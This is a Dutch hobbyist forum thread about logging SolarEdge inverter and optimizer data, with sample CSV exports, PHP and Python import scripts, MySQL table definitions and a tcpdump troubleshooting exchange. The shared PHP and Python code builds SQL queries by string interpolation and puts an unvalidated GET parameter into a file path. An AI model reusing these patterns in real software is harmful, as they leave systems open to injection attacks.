code:
1
http://......./paneeldata.php?datum=2019-07-01


Onderstaand is een voorbeeld van de 1E.csv en 1O.csv file van paneel 1 op 2015-12-19
code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
1E.csv:

Time,P1.1.1 E (Wh)
12/19/2015 08:00,"1.25"
12/19/2015 09:00,"9.5"
12/19/2015 10:00,"7.5"
12/19/2015 11:00,"10.25"
12/19/2015 12:00,"11.25"
12/19/2015 13:00,"10.25"
12/19/2015 14:00,"9.5"
12/19/2015 15:00,"0.5"

1O.csv:

Time,OP1.1.1 V (V)
12/19/2015 08:39,"32.75"
12/19/2015 08:42,"32"
12/19/2015 08:57,"31.75"
12/19/2015 09:00,"32.5"
12/19/2015 09:06,"32.75"
12/19/2015 09:11,"32.625"
12/19/2015 09:17,"32.25"
12/19/2015 09:20,"32.25"
12/19/2015 09:25,"32.625"
12/19/2015 09:32,"32.875"
12/19/2015 09:35,"32.875"
12/19/2015 09:41,"33"
12/19/2015 09:47,"32.75"
12/19/2015 09:52,"33"
12/19/2015 09:55,"41.875"
12/19/2015 10:01,"38"
12/19/2015 10:07,"33.625"
12/19/2015 10:12,"34.125"
12/19/2015 10:15,"36.125"
12/19/2015 10:22,"36"
12/19/2015 10:28,"32.875"
12/19/2015 10:29,"32.25"
12/19/2015 10:35,"32.625"
12/19/2015 10:41,"33"
12/19/2015 10:46,"32.75"
12/19/2015 10:54,"32.25"
12/19/2015 11:00,"32.875"
12/19/2015 11:06,"32.75"
12/19/2015 11:10,"32.5"
12/19/2015 11:16,"32.75"
12/19/2015 11:21,"32.25"
12/19/2015 11:26,"32.625"
12/19/2015 11:31,"32.25"
12/19/2015 11:36,"32.375"
12/19/2015 11:39,"32.75"
12/19/2015 11:46,"32"
12/19/2015 11:51,"32.25"
12/19/2015 12:00,"32.875"
12/19/2015 12:04,"33.125"
12/19/2015 12:11,"32.875"
12/19/2015 12:14,"32.75"
12/19/2015 12:20,"32.375"
12/19/2015 12:26,"32.375"
12/19/2015 12:29,"32.375"
12/19/2015 12:35,"32.875"
12/19/2015 12:39,"31.75"
12/19/2015 12:47,"31.375"
12/19/2015 12:51,"31.75"
12/19/2015 12:55,"32.25"
12/19/2015 13:03,"32.125"
12/19/2015 13:17,"31.375"
12/19/2015 13:29,"32.5"
12/19/2015 13:32,"32.875"
12/19/2015 13:38,"32.125"
12/19/2015 13:42,"31.625"
12/19/2015 13:45,"32.375"
12/19/2015 13:52,"32.125"
12/19/2015 13:55,"32.375"
12/19/2015 14:03,"31.75"
12/19/2015 14:06,"32.125"
12/19/2015 14:09,"31.875"
12/19/2015 14:17,"31.875"
12/19/2015 14:20,"32"
12/19/2015 14:25,"32.75"
12/19/2015 14:31,"32.875"
12/19/2015 14:38,"32.25"
12/19/2015 14:39,"32.125"
12/19/2015 14:48,"32"
12/19/2015 14:49,"32.375"
12/19/2015 14:59,"34.5"
12/19/2015 15:04,"34.25"
12/19/2015 15:10,"55.875"

Acties:
  • 0 Henk 'm!

  • Rouske
  • Registratie: Juli 2007
  • Laatst online: 21:35
PV specialist schreef op woensdag 24 juli 2019 @ 18:07:
Dank voor je reactie.

Denk dat dat een paar weken geleden nog had gewerkt, maar als je het programma installeert moet je waarschijnlijk contact maken met de SolarEdge server. En die is uitgezet, want einde programma.
Want ze hebben een nieuw programma, heel mooi, veel uitgebreider, maar kost veel tijd om simpel opbrengsten te berekenen.

Ik heb de map gekopieerd en toen proberen te installeren met een beschikbaar exe. file.

Ja, en er is ook een database file nodig, dat kon je eerder apart updaten als er nieuwe panelen waren toegevoegd door de gebruikers.
Maar hoe ziet zo'n database file eruit. In de dir. van het programma zitten wel een aantal .dll files, maar die zijn al van een oude datum, die bevatten geen gegevens van zonnepanelen.
Ik kan op de windows schijf of de dataschijf geen .dll vinden van SolarEdge. Ook de versie 9.0.69 geeft geen resultaten.

Enig idee hoe dat is ingericht ?
Ik denk dat het hier staat:
C:\Users\xxxxx\AppData\Local\SolarEdge Technologies\SolarEdge Site Designer\BinDatabase\
en
C:\Users\xxxxx\AppData\Local\SolarEdge Technologies\SolarEdge Site Designer\Database\

Beiden zien er volgens mij hetzelfde uit.

Acties:
  • 0 Henk 'm!

  • Aegle
  • Registratie: November 2013
  • Laatst online: 23:11
@andrerij: Bedankt voor de scripts. Hiermee wordt het "eenvoudig" om eerdere data op te halen. Mijn PV draait sinds 9 juni 2014 en ben, na wat start-up perikelen, serieus gestart met het loggen via het programma van @Jerrythafast op 4 juli 2016. Tot mijn verbazing is de oude data nog gewoon beschikbaar bij SE.
Heb ik weer wat te doen als ik me verveel...

33 x ET Solar 270Wp = 8910Wp @ SMA Sunny TriPower STP 8000TL-20 Live: PVOutput


Acties:
  • 0 Henk 'm!

  • andrerij
  • Registratie: April 2017
  • Laatst online: 17-09 12:47
Aegle schreef op donderdag 25 juli 2019 @ 17:29:
@andrerij: Bedankt voor de scripts. Hiermee wordt het "eenvoudig" om eerdere data op te halen. Mijn PV draait sinds 9 juni 2014 en ben, na wat start-up perikelen, serieus gestart met het loggen via het programma van @Jerrythafast op 4 juli 2016. Tot mijn verbazing is de oude data nog gewoon beschikbaar bij SE.
Heb ik weer wat te doen als ik me verveel...
@aegle, ik ben de script met de opmerking van @Jerrythafast (Tip: met shift of ctrl kun je alle optimizers tegelijk selecteren en ze zo in 1 grafiek proppen.) voor de paneeldata aan het herschrijven.
Dit wordt een stuk eenvoudiger.

Acties:
  • +1 Henk 'm!

  • andrerij
  • Registratie: April 2017
  • Laatst online: 17-09 12:47
Aegle schreef op donderdag 25 juli 2019 @ 17:29:
@andrerij: Bedankt voor de scripts. Hiermee wordt het "eenvoudig" om eerdere data op te halen. Mijn PV draait sinds 9 juni 2014 en ben, na wat start-up perikelen, serieus gestart met het loggen via het programma van @Jerrythafast op 4 juli 2016. Tot mijn verbazing is de oude data nog gewoon beschikbaar bij SE.
Heb ik weer wat te doen als ik me verveel...
Naar aanleiding van de opmerk van @Jerrythafast hierbij het aangepaste script.

In plaats van voor elk paneel 4 grafieken worden het nu 4 grafieken per dag:
Energie (E) (1e omvormer, 1e string, x paneel aangeduid als P1.1.x E)
Optimizer spanning (O) (1e omvormer, x string, 1e paneel aangeduid als OP1.1.x V)
Paneel spanning (M) (1e omvormer, 1e string, x paneel aangeduid als P1.1.x V)
Stroom (C) (1e omvormer, 1e string, x paneel aangeduid als P1.1.x I)
Er komen dus 4 .csv files per dag in de directory namelijk: E.csv, O.csv, M.csv en C.csv.

De file voor E.csv ziet er als volgt uit:
code:
1
2
3
4
5
6
7
8
9
10
11
Time,P1.1.1 E (Wh),P1.1.2 E (Wh),P1.1.3 E (Wh),P1.1.4 E (Wh),P1.1.5 E (Wh),P1.1.6 E (Wh),P1.1.7 E (Wh),P1.1.8 E (Wh),P1.1.9 E (Wh),P1.1.10 E (Wh),P1.1.11 E (Wh),P1.1.12 E (Wh),P1.1.13 E (Wh),P1.1.14 E (Wh),P1.1.15 E (Wh),P1.1.16 E (Wh),P1.1.17 E (Wh),P1.1.18 E (Wh),P1.1.19 E (Wh),P1.1.20 E (Wh),P1.1.21 E (Wh),P1.1.22 E (Wh),P1.1.23 E (Wh),P1.1.24 E (Wh)
02-02-2016 8:00,"","","","0.5","0","","","","","","","","1.25","","","","0.25","","","","","","",""
02-02-2016 9:00,"10.5","10","10.75","11.5","8.75","10.75","10.25","8.75","10.5","10.25","9.5","9.5","11.5","12","8.25","8.5","9.75","9.5","10","8.5","7.5","10","10","9.75"
02-02-2016 10:00,"22.25","19.75","22.5","22.5","18.5","22.25","20","19","22.25","21","19.5","21.75","22.75","24","21.75","19.5","20.75","19.25","21","20.25","23","20","20.75","20.75"
02-02-2016 11:00,"12","12.5","13.25","12","11.25","13.75","12","10.5","12","10.75","11","12.25","12.5","13.75","12.25","9.25","10.5","9.75","10.25","10.75","13.25","12","10.75","11.75"
02-02-2016 12:00,"16","13.75","15.5","16.25","12","14.75","15.25","12.75","15.25","14","13.25","15","18","17.5","15","14.25","14.25","14","15.75","13.5","16.75","15","14.5","14"
02-02-2016 13:00,"14.25","12.5","14.75","13.75","11","15.75","12.25","11.75","13","13.5","11.5","13.75","14.75","16","13","12","13.25","12.25","13.25","11.5","15","13","13.5","13.25"
02-02-2016 14:00,"5.5","4.25","6","7","5.5","5.25","4.75","2.75","7","4.5","2.5","6.75","7","7.25","4.75","3","1.75","1.5","7","6","5.5","4.25","3.5","4.75"
02-02-2016 15:00,"28.25","29.25","30.25","26","20.75","28.25","24.5","28.5","26.5","25.5","26.25","21.5","26","24.75","27","26.25","27.5","24","30","25","22.5","23.5","29.25","33.25"
02-02-2016 16:00,"10.25","8.25","12.5","11.5","7.5","10.25","8.5","7.75","8.75","7.25","7.25","8.75","10","11.75","9.75","8.25","9.5","8.25","10.75","9.75","12.5","9.5","11.5","12.25"
02-02-2016 17:00,"0.75","0.5","0.5","0.75","0.25","1.25","0.25","0","0.75","0.25","0.25","0.5","0.25","0.75","0.75","0.25","0","0.5","0.75","0.25","0.75","0","","0.5"


De data kan met de volgende script in de database geplaatst worden:
code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
<?php
$datum = $_GET['datum'];

include('config.php');

$mysqli = new mysqli($host, $user, $passwd, $db, $port);

$f[0] = "M";
$f[1] = "O";
$f[2] = "C";
$f[3] = "E";
$g[0][0] = "P1.1.";
$g[0][1] = " V (V)";
$g[1][0] = "OP1.1.";
$g[1][1] = " V (V)";
$g[2][0] = "P1.1.";
$g[2][1] = " I (A)";
$g[3][0] = "P1.1.";
$g[3][1] = " E (Wh)";

$fout = 0;
for ($j=1; $j<=$aantal; $j++){
    for ($k=0; $k<=3; $k++) {
        $file = $file = "./p/" . $datum ."/" . $f[$k] . ".csv";
        if (($handle = fopen($file, "r")) !== FALSE) {
            $data1 = fgetcsv($handle, 1000, ",");
            $data = fgetcsv($handle, 1000, ",");
            $num = count($data);
            if ( $g[$k][0].$j.$g[$k][1] == $data1[$j]) {
                if ($datum <> gmdate("Y-m-d",(new DateTime(sprintf("today %s",date("Y-m-d H:i:s", strtotime($data[0])))))->getTimestamp())) {
                    echo $file . ": datum klopt niet <br>";
                    $fout = 1;
                }
            }else{
                echo $file . " " . $g[$k][0].$j.$g[$k][1] . ": " . $data1[1] . ": serie klopt niet <br>";
                $fout = 1;
            }
            fclose($handle);
        } else {
            echo $file . ": is niet aanwezig <br>";
            $fout = 1;
        }
    }
}

echo "eind check <br>";

if ($fout == 0){
    for ($j=1; $j<=$aantal; $j++){
        $uptime = 10;
        $paneel = array();
        for ($k=0; $k<=2; $k++) {
            $file = "./p/" . $datum ."/" . $f[$k] . ".csv";
            $handle = fopen($file, "r");
            $row = 0;
            while (($data = fgetcsv($handle, 1000, ",")) !== FALSE) {
                if ($row > 0) {
                    if ($k == 0 and $data[$j] != "") {$paneel[$row-1][0] = strtotime($data[0]);}
                    if ($data[$j] != "") {$paneel[$row-1][$k+1] = $data[$j];}
                }
                if ($data[$j] != "") {$row++;}
            }
            fclose($handle);
        }
        $k = 3;
        $file = "./p/" . $datum . "/" . $f[$k] . ".csv";
        $handle = fopen($file, "r");
        $row1 = 0;
        $e=0;
        $totaal[0] = 0;
        $tataal[1] = 0;
        while (($data = fgetcsv($handle, 1000, ",")) !== FALSE) {
            if ($data[$j] != "") {
                if ($row1 == 1) {$tijdb = strtotime($data[0]); $Eb = $data[$j];}
                if ($row1 > 1) {
                    $tijde = strtotime($data[0]);
                    $Ee = $data[$j];
                    $m = 0;
                    for ($l=$e; $l<$row-1; $l++){
                        if ( $paneel[$l][0] > $tijdb && $paneel[$l][0] <= $tijde) { 
                            $m++;
                        } else {
                            if ($m > 0){
                                for ($n=$l-$m; $n < $l; $n++){
                                    if ($totaal[1] > $totaal[0] ) {
                                        $paneel[$n][4] += intval($Eb*4/$m);
                                        $totaal[0] += $Eb*4/$m;
                                        $totaal[1] += intval($Eb*4/$m);
                                        $paneel[$n][4] = intval($totaal[0]);
                                    }else{
                                        $totaal[0] += $Eb*4/$m;
                                        $totaal[1] += round($Eb*4/$m,0);
                                        $paneel[$n][4] = intval($totaal[0]);
                                    }
                                }
                                $e = $l;
                                $Eb = $Ee;
                                $m = 0;
                            }
                        }
                    }
                }
                $row1++;
            }
        }
        for ($n=$e; $n <= $row-1; $n++){
            $totaal[0] += round($Eb*4/($row-1-$e),0);
            $paneel[$n][4] = intval($totaal[0]);
        }
        fclose($handle);
        for ($o=0; $o < $row-1; $o++) {
            $query = sprintf("insert into telemetry_optimizers (`op_id`, `timestamp`, `uptime`, `v_in`, `v_out`, `i_in`, `e_day`, `temperature`) 
                        values ('%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s')",
                        hexdec($op_id[$j][0]), $paneel[$o][0], $uptime , $paneel[$o][1]*8, $paneel[$o][2]*8, $paneel[$o][3]*160, $paneel[$o][4], 0);
                $result = $mysqli->query($query);   
            if (!$result) {
                echo 'Error 2-1 insert data to the database: '.$mysqli->error;
            }
                $uptime += 10;
        }
        echo "Totaal paneel " . $j  . ": " . $totaal[0] . ", " . $totaal[1] . "<br>";
    }
}
$thread_id = $mysqli->thread_id;
$mysqli->kill($thread_id);
$mysqli->close();

echo "einde <br>";

?>

Acties:
  • 0 Henk 'm!

  • René Janssen
  • Registratie: Juli 2019
  • Laatst online: 14-08-2023
https://photos.google.com....goo.gl/QcZLbzirkVxUMX3N6

Hierbij mijn website. Mag hier en daar nog verbeterd worden. Uitlezen P1 gebeurd via een php script. Voor de PV installatie maak ik gebruik van solaredge-local. (Leest dus de setapp uit) In het midden kun je middels tabbladen diverse grafiekjes tevoorschijn toveren. De panelen zelf is een verhaal apart daar de setapp gehele getallen uitleest. Om toch enigzins een reël beeld te krijgen heb ik de voltages bijelkaar op geteld en het actuele vermogen door dit voltage gedeeld. Vervolgens kun je dan het huidig voltage per paneel met het berekende amp vermenigvuldigen.
Grts Rene

Acties:
  • 0 Henk 'm!

  • Wiley99
  • Registratie: Juni 2014
  • Laatst online: 23:15
René Janssen schreef op vrijdag 26 juli 2019 @ 09:37:
https://photos.google.com....goo.gl/QcZLbzirkVxUMX3N6

Hierbij mijn website. Mag hier en daar nog verbeterd worden. Uitlezen P1 gebeurd via een php script. Voor de PV installatie maak ik gebruik van solaredge-local. (Leest dus de setapp uit) In het midden kun je middels tabbladen diverse grafiekjes tevoorschijn toveren. De panelen zelf is een verhaal apart daar de setapp gehele getallen uitleest. Om toch enigzins een reël beeld te krijgen heb ik de voltages bijelkaar op geteld en het actuele vermogen door dit voltage gedeeld. Vervolgens kun je dan het huidig voltage per paneel met het berekende amp vermenigvuldigen.
Grts Rene
Nice! Erg overzichtelijk. (werkende link: https://photos.google.com...LakNubU9aazFIdVVESVZ1RVdn)

Zou je willen delen hoe je de individuele panelen uitleest? (of alles? _/-\o_ )

[ Voor 11% gewijzigd door Wiley99 op 26-07-2019 12:40 ]

A polar bear is a rectangular bear after a coordinate transform - Never attribute to malice that which is adequately explained by stupidity


Acties:
  • +1 Henk 'm!

  • René Janssen
  • Registratie: Juli 2019
  • Laatst online: 14-08-2023
Wiley99 schreef op vrijdag 26 juli 2019 @ 12:36:
[...]


Nice! Erg overzichtelijk. (werkende link: https://photos.google.com...LakNubU9aazFIdVVESVZ1RVdn)

Zou je willen delen hoe je de individuele panelen uitleest? (of alles? _/-\o_ )
Hoi Wiley, hierbij de code.
Plaats alle bestandjes in de /var/www/html directory
Als eerste het python3 script, je moet 'm op 2 plaatsen wijzigen, regel 20 en 45..
code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#!/usr/bin/python3
from solaredge_local import SolarEdge
import sys
import time
import MySQLdb as mdb

def show_error():
    ft = sys.exc_info()[0]
    fv = sys.exc_info()[1]
    print("Fout type: %s" % ft )
    print("Fout waarde: %s" % fv )
    return

###########################################################
#functie inlezen in MySql                 #
###########################################################
def insertDB(pvc, pvt):

    try:
        con = mdb.connect('localhost', 'login', 'password', 'electra');
        cursor = con.cursor()

        sql = "INSERT INTO inverter(datum, tijd, timestamp, pvc, pvt, panelen) \
        VALUES ('%s', '%s', '%s', '%s', '%s', '%s')" % \
        (time.strftime("%Y-%m-%d"), tijd, timestamp, pvc, pvt, panelen)
        cursor.execute(sql)
        sql = []
        if (tijd[3:] == '00'):
            sql1 = "INSERT INTO PV(datum, tijd, stamp, pvt) \
            VALUES ('%s', '%s', '%s', '%s')" % \
            (time.strftime("%Y-%m-%d"), tijd, timestamp, pvt)   
            cursor.execute(sql1)
            sql1 = []
        con.commit()
        con.close()
    
    except mdb.Error as e:
        print (e)



###########################################################
#Inlezen
###########################################################  
client = SolarEdge("http://192.168.178.xx")
status = client.get_status()
pvc = round(status.powerWatt,1)
pvt = status.energy.total/1000
timestamp = time.time()/10
timestamp = int(timestamp)*10
maintenance = client.get_maintenance()
panelen = maintenance.diagnostics.inverters.primary
tijd = time.strftime("%H:%M")
#print(str(power))
#print(str(powertotaal))
#print (panelen)

###########################################################
#functie print Values                             
###########################################################
def printValues(pvc, pvt, panelen):
    print ("huidig", pvc)
    print ("totaal", pvt)
    print ("optimizers", panelen)
    
if (pvt>0):
    printValues(pvc, pvt, panelen)
    insertDB(pvc, pvt)
print ("Database gevuld")

Zet het python script in een crontab zodat hij elke 5 minuten uitleest
vervolgens een database maken met de naam electra
en voeg hier 2 tabellen aan toe.
code:
1
2
3
4
5
6
7
8
9
CREATE TABLE inverter (
  id int(11) NOT NULL,
  datum date NOT NULL,
  tijd time NOT NULL,
  timestamp int(11) NOT NULL,
  pvc float NOT NULL,
  pvt float NOT NULL,
  panelen text NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;

en
code:
1
2
3
4
5
6
7
8
9
10
11
CREATE TABLE optimizers (
  id int(11) NOT NULL,
  serienr text NOT NULL,
  datum date NOT NULL,
  tijd time NOT NULL,
  online text NOT NULL,
  outputV int(5) NOT NULL,
  inputV int(5) NOT NULL,
  inputC float NOT NULL,
  temp int(5) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;


In deze 2de tabel moet je handmatig in phpmyadmin je serienummers invullen per paneel/ID. Zet ze in volgorde hoe ze op je dak liggen. Dus 1ste regel met ID =1 vul je bij serienr je links/bovenste paneel in.
Zo maak je voor elk paneel een regel aan.

Dan het optimizer.php script.
code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
<?php
// inlezen van elke optimizer in een tabel
$con = mysqli_connect("localhost","login","password","electra");
$test="select * from inverter ORDER BY id DESC limit 1";
        $result=mysqli_query($con,$test);
        $row=mysqli_fetch_array($result,MYSQLI_ASSOC);  
        $opt = $row["panelen"];
    
$file = 'test.txt';
$current = file_get_contents($file);
$current .= $opt;
file_put_contents($file, $current);

$phpself = $_SERVER['PHP_SELF'];

class optimizer_cls {
function proces_optimizer($start_array){
    global $level1, $con, $nr;
    $line2=explode("\n",$start_array);
    unset ($start); 
    $serienr=''; $online=''; $datum=''; $tijd=''; $outputV=''; $inputV=''; $inputC=''; $vermogen=''; $temp='';

    $loop=count($line2);
    for ($z=1; $z<=$loop; $z++){
        $buffer=$line2[$z]; 
        // *** serienummer ***
        if (substr($buffer,0,15)=='  serialNumber:'){
            $serienr = substr($buffer,17,-1);
        }
        // *** online ***
        if (substr($buffer,0,9)=='  online:'){
            $online = substr($buffer,10);
        }
        // *** jaar ***
        if (substr($buffer,0,9)=='    year:'){
            $jaar = substr($buffer,10);
        }       
        // *** maand ***
        if (substr($buffer,0,10)=='    month:'){
            $maand = substr($buffer,11);
        }
        // *** dag ***
        if (substr($buffer,0,8)=='    day:'){
            $dag = substr($buffer,9);
        }
        // *** uur ***
        if (substr($buffer,0,9)=='    hour:'){
            $uur = substr($buffer,10);
        }       
        // *** minuut ***
        if (substr($buffer,0,11)=='    minute:'){
            $minuut = substr($buffer,12);
        }           
        // *** seconde ***
        if (substr($buffer,0,11)=='    second:'){
            $seconde = substr($buffer,12);
        }       
        // *** outputV ***
        if (substr($buffer,0,10)=='  outputV:'){
            $outputV = substr($buffer,11);
        }               
        // *** inputV ***
        if (substr($buffer,0,9)=='  inputV:'){
            $inputV = substr($buffer,10);
        }       
        // *** inputC ***
        if (substr($buffer,0,9)=='  inputC:'){
            $inputC = substr($buffer,10);
        }
        // *** temperatuur ***
        if (substr($buffer,0,10)=='    value:'){
            $temp = substr($buffer,11);
        }       
    }  
    $ts = mktime(0, 0, 0, $maand, $dag, $jaar);
    $datum = date('Y-m-d', $ts);
    $ts = mktime($uur, $minuut, $seconde, 0, 0, 0);
    $tijd = date('H:i:s', $ts);

    
    /* print alles
    print ''.$nr.'<br>';
    print ''.$serienr.'<br>';
    print ''.$online.'<br>';
    print ''.$datum.'<br>';
    print ''.$tijd.'<br>';
    print ''.$outputV.'<br>';
    print ''.$inputV.'<br>';    
    print ''.$inputC.'<br>';    
    print ''.$temp.'<br>';
    print '<p>';    
    */
    // *** Data opslaan ***
    $query = "update optimizers set datum='$datum', tijd='$tijd', online='$online', outputV='$outputV', inputV='$inputV', inputC='$inputC', temp='$temp' where serienr='$serienr'";
    $result = mysqli_query($con, $query) or die (mysql_error());
    } 
} // end class

$optimizer_cls = New optimizer_cls;
$proces="";
$buffer2="";    
$nr='1';
    
$handle = fopen ($file, "r");
    while (! feof($handle)) {
        $buffer = fgets($handle);
        $buffer=rtrim($buffer,"\n\r");
        $start="";
        if ( substr($buffer, 0, 9)=='optimizer'){ $start=1; } 
        if ($start){
            if ($proces=="start"){
                $optimizer_cls -> proces_optimizer($buffer2);
                $nr++;
                $proces="";
                $buffer2="";
            }
        }
        if (substr($buffer, 0, 9)=='optimizer'){
            $proces="start";
            $buffer2="";
        }
        $buffer2=$buffer2.$buffer."\n"; 
    }
    fclose($handle);
unlink($file) or die ("Couldn't delete file");
include("table.php");
?>


en als laatste het table.php scriptje. Let op dit is voor mijn panelen gemaakt, dus dit moet je even wijzigen naar jouw situatie.
code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
$over="select * from inverter ORDER BY id DESC limit 1";
$result=mysqli_query($con,$over);
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);
$tot = $row['pvt'];
print '<div class="floatright">';
print '<table class="paneel">';

$info="select SUM(inputV) from optimizers";
$resultaat=mysqli_query($con,$info);
$row=mysqli_fetch_array($resultaat,MYSQLI_ASSOC);
$voltage = $row["SUM(inputV)"];

$info="select * from inverter ORDER BY id DESC limit 1";
$resultaat=mysqli_query($con,$info);
$row=mysqli_fetch_array($resultaat,MYSQLI_ASSOC);
$current = $row["pvc"];
$amp = $current / $voltage;

$nr = '1';
$sel = "select * from optimizers";
$query = mysqli_query($con,$sel);
if(mysqli_num_rows($query) > 0) {
    while($data = mysqli_fetch_array($query)){
    $volt = $data['inputV'];
    $vermogen = $volt * $amp;
    $vermogen = (int)$vermogen;
        if ($nr==1 OR $nr==4){
            echo '<tr><td class="zon"><font size="4">'.$vermogen.'  Watt</font><br>'.$data['temp'].' C<br>'.$data['serienr'].'</td>';
            $nr++;
        }elseif ($nr==2 OR $nr==5 OR $nr==7 OR $nr==9){
            echo '<td class="zon"><font size="4">'.$vermogen.'  Watt</font><br>'.$data['temp'].' C<br>'.$data['serienr'].'</td>';
            $nr++;
        }elseif ($nr==3 OR $nr==10) {
            echo '<td class="zon"><font size="4">'.$vermogen.'  Watt</font><br>'.$data['temp'].' C<br>'.$data['serienr'].'</td></tr>';
            $nr++;
        }elseif ($nr==6 or $nr==8) {
            echo '<td class="zon"><font size="4">'.$vermogen.'  Watt</font><br>'.$data['temp'].' C<br>'.$data['serienr'].'</td></tr><tr><th></th>';
            $nr++;
        }   
    }
}
print '</table></div>';
?>


Mocht je vragen of foutmeldingen krijgen dan hoor ik het wel.

Acties:
  • 0 Henk 'm!

  • Wiley99
  • Registratie: Juni 2014
  • Laatst online: 23:15
@redah super! Nu zorgen dat ik snel tijd heb/maak om dit te gaan doen. Dankjewel, man! _/-\o_

Zal m (hopelijk) gewoon onder Caddy laten draaien.

[ Voor 21% gewijzigd door Wiley99 op 27-07-2019 10:20 ]

A polar bear is a rectangular bear after a coordinate transform - Never attribute to malice that which is adequately explained by stupidity


Acties:
  • 0 Henk 'm!

  • mistral2
  • Registratie: November 2002
  • Laatst online: 17-09 22:55
René Janssen schreef op vrijdag 26 juli 2019 @ 09:37:
https://photos.google.com....goo.gl/QcZLbzirkVxUMX3N6

Hierbij mijn website. Mag hier en daar nog verbeterd worden.
Grts Rene
Grappig, ik heb op hier ook zo'n soort grafiekje lopen op de amrij zonnepanelen code.

Acties:
  • 0 Henk 'm!

  • redah
  • Registratie: Januari 2001
  • Laatst online: 18-09 15:03
Wiley99 schreef op zaterdag 27 juli 2019 @ 10:18:
@redah super! Nu zorgen dat ik snel tijd heb/maak om dit te gaan doen. Dankjewel, man! _/-\o_

Zal m (hopelijk) gewoon onder Caddy laten draaien.
Ik weet niet wat ik heb gedaan ;)

Acties:
  • 0 Henk 'm!

  • Wiley99
  • Registratie: Juni 2014
  • Laatst online: 23:15
redah schreef op zaterdag 27 juli 2019 @ 19:11:
[...]


Ik weet niet wat ik heb gedaan ;)
Ugh, was voor @René Janssen bedoeld, dikke vinger en niet goed checken...

A polar bear is a rectangular bear after a coordinate transform - Never attribute to malice that which is adequately explained by stupidity


Acties:
  • 0 Henk 'm!

  • Nelissuh
  • Registratie: November 2002
  • Laatst online: 11-09 13:31
Hallo, bedankt voor de mooie software.

Ik heb gisteren geprobeerd het te installeren, maar het lukte me niet.
Vanmorgen alles verwijderd en opnieuw geprobeerd, maar exact hetzelfde resultaat.

Installatie:
- Solaredge omvormer nog niet aangesloten (netwerkkabel niet ingestoken).
- Pi2 met laatste versie van Raspbian als logger
- Switch met port mirroring. Pi aangesloten op "destination port".
- Synology NAS met MariaDB10 als Database.

Alles geïnstalleerd volgens README.txt (denk ik, ik zal wel wat stoms vergeten zijn).
1 stap overgeslagen: installatie van "mysql-server", aangezien deze al op de NAS draait.

Als ik de service nu start met:
code:
1
sudo systemctl --now enable se-logger


Gebeurt het volgende:

Ik krijg 3 PCAP files, met elk 1 sec verschil in tijd

In de liveupdate.log staat:
code:
1
2
3
Reading from -
ERROR! PCAP format not supported! Can only read PCAP files with microsecond precision!
End of file. Shutting down.


In de tcpdump.log staat:
code:
1
/usr/bin/stdbuf: kan commando ‘/usr/sbin/tcpdump’ niet uitvoeren: Bestand of map bestaat niet


Ik zal wel wat heel stoms doen, maar ik zie het effe niet.
- Heeft het met schrijfrechten te maken?
- Is er een parameter fout?
- Naam van de netwerkpoort?
- Iets anders?


Config.py
code:
1
2
3
4
5
6
inverter_private_key = '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
db_user = "PI_Logger"
db_pass = "PI_Logger"
db_name = "solaredge"
db_host = "192.168.0.123"
db_port = 3307


se-logger-service.sh
code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
INTERFACE=eth0
FILTER=tcp
CAPTDIR=/opt/se-logger/
PREFIX=solaredge-


rm ${CAPTDIR}tcpdump.log
rm ${CAPTDIR}liveupdate.log

# wait for the time to get set
while [ `date -u +%Y` == "1970" ]
do
    echo "Waiting for correct time" >> ${CAPTDIR}tcpdump.log
    sleep 1
done

/usr/bin/stdbuf -i0 -o0 -e0 /usr/sbin/tcpdump -i $INTERFACE -U -w - ${FILTER} 2>> ${CAPTDIR}tcpdump.log | \
    tee $CAPTDIR$PREFIX`date -u +%Y%m%d%H%M%S`.pcap | \
    /usr/bin/python -u ${CAPTDIR}liveupdate.py - 2>> ${CAPTDIR}liveupdate.log


Alvast bedankt voor de steun!

Acties:
  • +1 Henk 'm!

  • ZwarteIJsvogel
  • Registratie: Juni 2008
  • Laatst online: 17-09 12:41

ZwarteIJsvogel

Zuid-Limburg

Nelissuh schreef op zondag 28 juli 2019 @ 10:43:
In de tcpdump.log staat:
code:
1
/usr/bin/stdbuf: kan commando ‘/usr/sbin/tcpdump’ niet uitvoeren: Bestand of map bestaat niet
De foutmelding zegt het al: tcpdump is niet geïnstalleerd. Dus:
code:
1
sudo apt install tcpdump

Acties:
  • 0 Henk 'm!

  • Nelissuh
  • Registratie: November 2002
  • Laatst online: 11-09 13:31
